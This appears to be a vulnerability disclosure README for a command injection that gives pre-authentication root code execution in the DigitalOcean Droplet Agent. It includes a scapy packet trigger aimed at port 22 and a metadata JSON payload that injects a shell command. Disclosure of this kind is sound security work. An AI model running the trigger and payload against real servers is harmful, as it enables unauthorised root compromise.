poxsky/cve-2026-24516-digitalocean-rceCritical Pre-Auth Root RCE (CVSS 10.0) in DigitalOcean Droplet Agent up to v1.3.2 via Command Injection.
Critical Pre-Auth Root RCE (CVSS 10.0) in DigitalOcean Droplet Agent up to v1.3.2 via Command Injection.
A critical command injection vulnerability was discovered in the DigitalOcean Droplet Agent (all versions up to and including 1.3.2). This flaw allows an attacker to achieve Remote Code Execution (RCE) with root privileges without any authentication.
Discoverer: Anmol Singh Rajput (@pox_sky_01) - Cortex Security Research
The vulnerability exists in the troubleshooting actioner component:
internal/troubleshooting/actioner/actioner.gointernal/troubleshooting/command/exec.goThe agent processes metadata from the local service (169.254.169.254) and executes commands from the array without proper sanitization.
TroubleshootingAgent.RequestingThe agent is triggered by a specific TCP packet to port 22:
Trigger the fetch:
python3 -c "from scapy.all import *; send(IP(dst='TARGET')/TCP(dport=22,flags='S',seq=68796879,ack=848489))"
Malicious Metadata Payload:
{
"troubleshooting_agent": {
"requesting": ["command:id > /tmp/pwned"]
}
}
Impact CVSS Score: 10.0 (Critical)
Privileges Required: None
Result: Full System Compromise (Root Access)
